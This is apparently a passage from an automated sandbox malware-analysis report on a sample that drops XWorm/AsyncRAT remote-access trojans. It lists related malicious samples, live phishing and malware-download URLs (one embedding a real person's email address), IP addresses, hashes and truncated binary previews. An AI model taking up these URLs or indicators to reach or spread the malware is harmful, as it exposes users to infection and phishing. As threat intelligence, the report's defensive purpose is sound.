	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	66.235.152.225
	https://funpresc.pe.gov.br/976823/secure-redirect/index.html#Francois.barbeau+staples.ca%20%20https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse	66.235.152.156
fg.microsoft.map.fastly.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	199.232.210.172
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	ap4pkLeaVp.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	setup.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	vs_BuildTools.zip	Get hash	malicious	Unknown	Browse	199.232.210.172
	XYrLOQoLE4.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://r20.rs6.net/tn.jsp?t=ujqgb8abb.0.0.zumspjcab.0&id=preview&r=3&p=http%3A%2F%2Ffiles.constantcontact.com%2F99239f29001%2F765a22db-b453-4315-a344-dc2294500069.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	SecuriteInfo.com.Win64.Malware-gen.31578.13203.exe	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.155.1.8
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	18.245.60.72
	https://elizgallery.com/nazvanie.js	Get hash	malicious	Unknown	Browse	13.250.84.149
	sora.arm.elf	Get hash	malicious	Mirai	Browse	18.243.215.239
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	99.79.220.130
	sora.x86.elf	Get hash	malicious	Mirai	Browse	34.221.248.6
	sora.mips.elf	Get hash	malicious	Mirai	Browse	13.51.123.184
	sora.spc.elf	Get hash	malicious	Mirai	Browse	18.182.10.192
	wheiuwa4.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	yakuza.sh.elf	Get hash	malicious	Mirai	Browse	46.51.154.213
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	sora.arm.elf	Get hash	malicious	Mirai	Browse	104.214.22.71
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	104.147.102.52
AMAZON-02US	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.155.1.8
	http://elizgallery.com/js.php	Get hash	malicious	Unknown	Browse	18.245.60.72
	https://elizgallery.com/nazvanie.js	Get hash	malicious	Unknown	Browse	13.250.84.149
	sora.arm.elf	Get hash	malicious	Mirai	Browse	18.243.215.239
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	99.79.220.130
	sora.x86.elf	Get hash	malicious	Mirai	Browse	34.221.248.6
	sora.mips.elf	Get hash	malicious	Mirai	Browse	13.51.123.184
	sora.spc.elf	Get hash	malicious	Mirai	Browse	18.182.10.192
	wheiuwa4.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	yakuza.sh.elf	Get hash	malicious	Mirai	Browse	46.51.154.213

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzub	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	https://myqrcode.mobi/qr/3c3aa5e1/view	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 2.23.161.164

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Roaming\XClient.exe	TcQOmn7lnP.exe	Get hash	malicious	XWorm	Browse
C:\Users\user\AppData\Roaming\FileExplorer.exe	TcQOmn7lnP.exe	Get hash	malicious	XWorm	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\CZxDiTktSY.exe.log

Download File

Process:	C:\Users\user\Desktop\CZxDiTktSY.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\FileExplorer.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\FileExplorer.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Download File

Process:	C:\Users\user\Desktop\CZxDiTktSY.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11593209
Entropy (8bit):	6.5909927497914
Encrypted:	false
SSDEEP:	98304:NqZ+pv3Tscod5DFasb/r5vGWD3EOYoHwfLk3vSmaR0+Mc4AN0edaAHDfysrTlq:NqZ+pLscVsb/r5vGlObAbN07
MD5:	60246A70B28A9D7EF6A2DFE009E48075
SHA1:	8DD51B8460307F785690008657918540A8EE4998
SHA-256:	E9091FA15944A451E792674CF408E400A5E6391CD31160040210B494BD723F17
SHA-512:	551FFEBC64B11E21A234B3AC5A1E103E5CF0FF4FD4D5B71628D0C4215B24FBCA946CC7DC14571667214DCA86AE9C3327C928B996BE456529F84BB2F4A0901E5F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^.J.^.J.^.J.+.K.^.J.+.K.^.J.+.K.^.J.&GJ.^.J^,.K.^.J.^.J@^.JG+.K.^.JG+.K.^.JRich.^.J........................PE..d......f..........".................P@.........@..........................................`.................................................\|(...............`..L................... ...T.......................(.......8............................................text............................... ..`.rdata..............................@..@.data...X....@......."..............@....pdata..L....`.......,..............@..@_RDATA...............B..............@..@.reloc...............D..............@..B.rsrc................H..............@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\FileExplorer.exe

Download File

Process:	C:\Users\user\AppData\Roaming\XClient.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.593454396400531
Encrypted:	false
SSDEEP:	768:S1M4swsuaI9VSLVHJOVW5NmLU6eKch1W9FW9Y5qRLOjh2bW:SykZaI9VSOVW5YMKchOFW9Y58LOj0C
MD5:	EDD87A78E02A4C11C82BB8CCCE9815D6
SHA1:	A5C6753E71E4D4AD83325C60EC88780471297272
SHA-256:	DA98F8DE94A1F21ADEBDE64BD45A11921FEDEAEC036035C46B80621B619F017B
SHA-512:	3BBDAFA95291AC1DF2FB4545F9F3818C1A5B817A4D6F3DDE182A3996E71D2FD118DF1447DDAF855C4432B8BDDA454AE0AA26A31C4333785F87B744F34492A4CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\FileExplorer.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\FileExplorer.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Joe Sandbox View:	Filename: TcQOmn7lnP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....@g.................\|.............. ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text....{... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H........Q..\|J............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Roaming\XClient.exe

Download File

Process:	C:\Users\user\Desktop\CZxDiTktSY.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.593454396400531
Encrypted:	false
SSDEEP:	768:S1M4swsuaI9VSLVHJOVW5NmLU6eKch1W9FW9Y5qRLOjh2bW:SykZaI9VSOVW5YMKchOFW9Y58LOj0C
MD5:	EDD87A78E02A4C11C82BB8CCCE9815D6
SHA1:	A5C6753E71E4D4AD83325C60EC88780471297272
SHA-256:	DA98F8DE94A1F21ADEBDE64BD45A11921FEDEAEC036035C46B80621B619F017B
SHA-512:	3BBDAFA95291AC1DF2FB4545F9F3818C1A5B817A4D6F3DDE182A3996E71D2FD118DF1447DDAF855C4432B8BDDA454AE0AA26A31C4333785F87B744F34492A4CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\XClient.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Joe Sandbox View:	Filename: TcQOmn7lnP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....@g.................\|.............. ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text....{... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H........Q..\|J............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\Downloads\Unconfirmed 798106.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	57380656
Entropy (8bit):	7.999384819242661
Encrypted:	true
SSDEEP:	1572864:thnGrDY4YuXzTOM/LrqXkriwjKIgWplz5LObYxB9Zn:tYrnVT20zKIgsz9Ob0N
MD5:	2F34B7C01B2C0EC8C95E2050D0A48B56
SHA1:	C290C59E58F6629F0D0FA66B05EE740079B6CCDA
SHA-256:	0D20DEBB26FC8B2BC84F25FBD9D4596A6364AF8517EBF012E8B871127B798941
SHA-512:	86FA63997E7E0DC6F3BF609E00880388DCF8D985C8F6417D07EBBBB1ECC957BF90214C8FF93F559A0E762B5626BA8C56C581F4D506AA4DE7555F9792C2DA254D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........[..................L..............................................h......h.Q.....9.....h.....Rich...........PE..L......f.....................\|......K.............@..........................`...... .k...@.................................D...........<;...........ek.x)... ...=...\|..T....................\|..........@...........................................text.............................. ..`.rdata..\|...........................@..@.data...............................@....wixburn8...........................@..@.rsrc...<;.......<..................@..@.reloc...=... ...>..................@..B........................................................................................................................................................................................................................................................

C:\Users\user\Downloads\d109d188-88be-4347-b0fe-3dec135859cb.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	6.3444145597900885
Encrypted:	false
SSDEEP:	384:DLDULILL7EounBaU3VttkZB2hyHIUFfTFYq2Qd1bLYHZr5:wMX7EounBj3VwZTFPb0t5
MD5:	5D3C0B47675FB91807FE807F923789A3
SHA1:	B9743E552FC02B426625C54FD740959D70394355
SHA-256:	B0D9DBC3F278BCC078F65050652379880161AB793719536866BD0DEEE79F8780
SHA-512:	7706B405274AB586416BF27453E8C1A5375DC9D6F8D0A619A2CD52FF4C05AE6B9E9EC25A67F5A8D629F062C8D0BAD2B5FD1BF4209CFFEE37A51F28170377A63B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........[..................L..............................................h......h.Q.....9.....h.....Rich...........PE..L......f.....................\|......K.............@..........................`...... .k...@.................................D...........<;...........ek.x)... ...=...\|..T....................\|..........@...........................................text.............................. ..`.rdata..\|...........................@..@.data...............................@....wixburn8...........................@..@.rsrc...<;.......<..................@..@.reloc...=... ...>..................@..B........................................................................................................................................................................................................................................................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	downloaded
Size (bytes):	1222
Entropy (8bit):	5.002054903999145
Encrypted:	false
SSDEEP:	24:98HGJ4MDZNZQRW5T4cQg9XaMiIaj/pKHXB+AkpR2e9NCMtIpM2RWrW4KSJRmz//9:CGBDZDQw5T4cJnaDpq+AyQefrGw64KS8
MD5:	161BEA441F22D9BE0846874622291A7B
SHA1:	83E53E33EA0FF04B3326551D6A274897ED22CB0F
SHA-256:	01F02C8B9BB442A5394554E14D53492112FA09671E7A226BC7B3FC23E3B62549
SHA-512:	553F8B1C154A1520EF29E0AA25E4D994CBF4EB26244FF86E0174E1787DFACF7604E6DD3A309263B372D36597F0641F448ACB4F63F34D3321B0ACE6576E6CB09B
Malicious:	false
URL:	https://dotnet.microsoft.com/static/js/download.min.js?v=MBjAS82T2axGINmgsrbDGSLfnkUKGbAI1qVdIMR6lw0
Preview:	(()=>{"use strict";var t,e=function(t){"undefined"!=typeof analytics&&analytics.isInitialized()?analytics.capturePageAction(null,t):setTimeout((function(){return e(t)}),2e3)};t=function(t){for(var e=document.getElementsByClassName(t),n=0;n<e.length;n++){var i=e[n];i.classList.contains("block")&&(i.classList.add("hidden"),i.classList.remove("block"),i.parentNode.querySelector(".split-button").setAttribute("aria-expanded","false"))}},document.activeElement.addEventListener("keyup",(function(e){27==e.keyCode&&t("split-button-menu")})),window.recordDownload=function(t,n){e({behavior:"DOWNLOAD",actionType:"CL",contentTags:{dlnm:t,dlid:n}})},window.splitButton=function(t){var e=t.parentNode.nextElementSibling;e.classList.contains("hidden")?(e.classList.remove("hidden"),e.classList.add("block"),t.setAttribute("aria-expanded","true")):(e.classList.add("hidden"),e.classList.remove("block"),t.setAttribute("aria-expanded","false"))},window.onclick=function(e){e.target.matches(".split-button")\|\|t(

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1676)
Category:	dropped
Size (bytes):	1754
Entropy (8bit):	5.270268028924088
Encrypted:	false
SSDEEP:	48:QNd4Vo91CEHyF8RSojDL7maUJ9DYpXBc1B+XLf:FgNcoXZy+D
MD5:	A7D39D299EDE945B34EBB570580D6686
SHA1:	A1D32E04C5A0D72978DBB6AE531CEB9EF319E225
SHA-256:	E84D57BF859A256815362F36A4FF7F5EE6BA1DCFD02D8AC02673353FDD0A0FF1
SHA-512:	C6A619DCD8B7E07D5491C9963A89F4FCC9D48E3FB14DBAC57F0470988B48EB378224966B094C3CDBFF4689674C49D6FD51FD0EC6C031D6902F8F2BC9154D4355
Malicious:	false
Preview:	/! For license information please see culture-selector.min.js.LICENSE.txt /.(()=>{"use strict";function e(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)e[r]=n[r]}return e}var t=function t(n,r){function o(t,o,i){if("undefined"!=typeof document){"number"==typeof(i=e({},r,i)).expires&&(i.expires=new Date(Date.now()+864e5*i.expires)),i.expires&&(i.expires=i.expires.toUTCString()),t=encodeURIComponent(t).replace(/%(2[346B]\|5E\|60\|7C)/g,decodeURIComponent).replace(/[()]/g,escape);var c="";for(var u in i)i[u]&&(c+="; "+u,!0!==i[u]&&(c+="="+i[u].split(";")[0]));return document.cookie=t+"="+n.write(o,t)+c}}return Object.create({set:o,get:function(e){if("undefined"!=typeof document&&(!arguments.length\|\|e)){for(var t=document.cookie?document.cookie.split("; "):[],r={},o=0;o<t.length;o++){var i=t[o].split("="),c=i.slice(1).join("=");try{var u=decodeURIComponent(i[0]);if(r[u]=n.read(c,u),e===u)break}catch(e){}}return e?r[e]:r}},remove:function(t,n){o(t,"",e({},n,{expires

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5219)
Category:	downloaded
Size (bytes):	40844
Entropy (8bit):	5.347322172502906
Encrypted:	false
SSDEEP:	768:BmDgg7rVYGSntXrwIj6aGL/QApN2Yr2roYd08WYiOXPvXRQEr:Dlnu7UA/FYdrWYiOXnXRQEr
MD5:	C4BFF5F4C13DC47B4A4D60AFECAAD10A
SHA1:	F0BA3DED3D8B6CD28000421E44D071EA0717DAF8
SHA-256:	679CAC25319305FA69EF2F61908723BF902785B5A83B77167C16DBFD1B605FDE
SHA-512:	BA4612DDF819920451558F263EE1A323770478C3ACE5924DFEDEA6D9C2C0B2F0FBC10700D66460ED8433937627F4E94CC2C626BB98E47C0D1972E16704D18A86
Malicious:	false
URL:	https://w.usabilla.com/71e348d38aa1.js?lv=1
Preview:	(function(){window.parent!=window&&(window.lightningjs\|\|function(d,f){var e=d.lightningjs={modules:f.modules},r=f.modules;e.expensive=function(b){b._waitforload=!0;return b};void 0;e.require=f.require;e.provide=function(b,l){function m(){var a=d.console;if(a&&a.error)try{a.error.apply(a,arguments)}catch(c){}else if(d.opera)try{d.opera.postError.apply(d.opera,arguments)}catch(c){}}function f(a){var c=a[0],k=a[1],b=0<k?p[k]:l,f=Array.prototype.slice.call(a[2]),h=f.shift();a=g._.fh[c]=g._.fh[c]\|\|[];.k=g._.eh[c]=g._.eh[c]\|\|[];g._.ph[c]=g._.ph[c]\|\|[];if(b){if(b=b[h])try{var d=b.apply(b,f)}catch(n){var e=n}else e=Error("unknown deferred method '"+h+"'"),m(e.toString());d&&(p[c]=d);if(e){for(;k.length;){c=k.shift();try{c(e)}catch(n){m(n)}}k.push=function(a){a(e)}}else{for(;a.length;){c=a.shift();try{c(d)}catch(n){m(n)}}a.push=function(a){a(d)}}}else m("cannot call deferred method '"+h+"' on 'undefined'")}function t(){for(var a=h.shift();a;){if(u)var c=!1;else{var b=a[1];c=0<b?p[b]:l;var e=Arr

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37818)
Category:	downloaded
Size (bytes):	37819
Entropy (8bit):	5.2375695674205645
Encrypted:	false
SSDEEP:	768:Wfu5hG2ZpbtBQCauatcBcTnknp5Gq5Gh5GI5G20Vp7vtOl1IBizsuX4LqAjCEXMX:6MbtyiUH
MD5:	0B982E5E3BFE6B6F78AC7F3BE8F28908
SHA1:	1B904AB35F3C22C31C28FABC00C537613D9C26F2
SHA-256:	6EDDCB31515490394AE27A785DF042FDA2914DAB03C667E637B1F35EC2996686
SHA-512:	D4158FD8C13CC9B496EBC506FA2307C231D04A895AFCC9C87DCB136434F47F32890E9E3F80BBA4667E4470C433AF82D912263A10B45F50CBB04A74BC929F0352
Malicious:	false
URL:	https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.css
Preview:	/! sanitize.css v5.0.0 \| CC0 License \| github.com/jonathantneal/sanitize.css /*,::before,::after{background-repeat:no-repeat;box-sizing:inherit}::before,::after{text-decoration:inherit;vertical-align:inherit}html{box-sizing:border-box;cursor:default;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}article,aside,footer,header,nav,section{display:block}body{margin:0}h1{font-size:2em;margin:.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}nav ol,nav ul{list-style:none}pre{font-family:monospace, monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace, monospace;font-size:1em}dfn{font-style:italic}mark{background-color:#ffff00;color:#000000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;p

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65467)
Category:	dropped
Size (bytes):	173512
Entropy (8bit):	5.257966891981755
Encrypted:	false
SSDEEP:	1536:M/5yO7NemMJezP6LW0oiSNdKIcYVXAhoWvjDG3/GQLn95JxsZgtPQLY9f3zkdP2D:MxRchLW9fNSYWvI1eef3zAfRU6NaOm
MD5:	49B237E0E1B4D7F8E79EEF67DF8FC31B
SHA1:	E84B25D606A998921900C18808AC1C1A727A0640
SHA-256:	C935DCC9F529F434237F4B507263236CD1FE9EE650735946A55A7F0C4F366018
SHA-512:	0C22D53148B3CA147F69E47AD156E906B7A7D5CBEA402B3C77A37F42C5ABDC060ADD4C6B6C56066893AA6B67AF461B9ACA1D43ED7F1243ACF28DF225A7D7B343
Malicious:	false
Preview:	/! For license information please see general.min.js.LICENSE.txt /.(()=>{var e={4134:(e,t,n)=>{var i=n(4692),r=n(4552);void 0===r.$&&(r.$=i),void 0===r.jQuery&&(r.jQuery=i),e.exports=i},5134:(e,t,n)=>{var i=n(2754),r=n(4552);void 0===r.bootstrap&&(r.bootstrap=i),void 0===r.default&&(r.default=i),e.exports=i},4552:(e,t,n)=>{"use strict";function i(e){return i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i(e)}e.exports=function(){if("object"===("undefined"==typeof globalThis?"undefined":i(globalThis)))return globalThis;var e;try{e=this\|\|new Function("return this")()}catch(e){if("object"===("undefined"==typeof window?"undefined":i(window)))return window;if("object"===("undefined"==typeof self?"undefined":i(self)))return self;if(void 0!==n.g)return n.g}return e}()},3685:function(e,t,n){var i,r,o;function a(e){return a="function"==typ

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
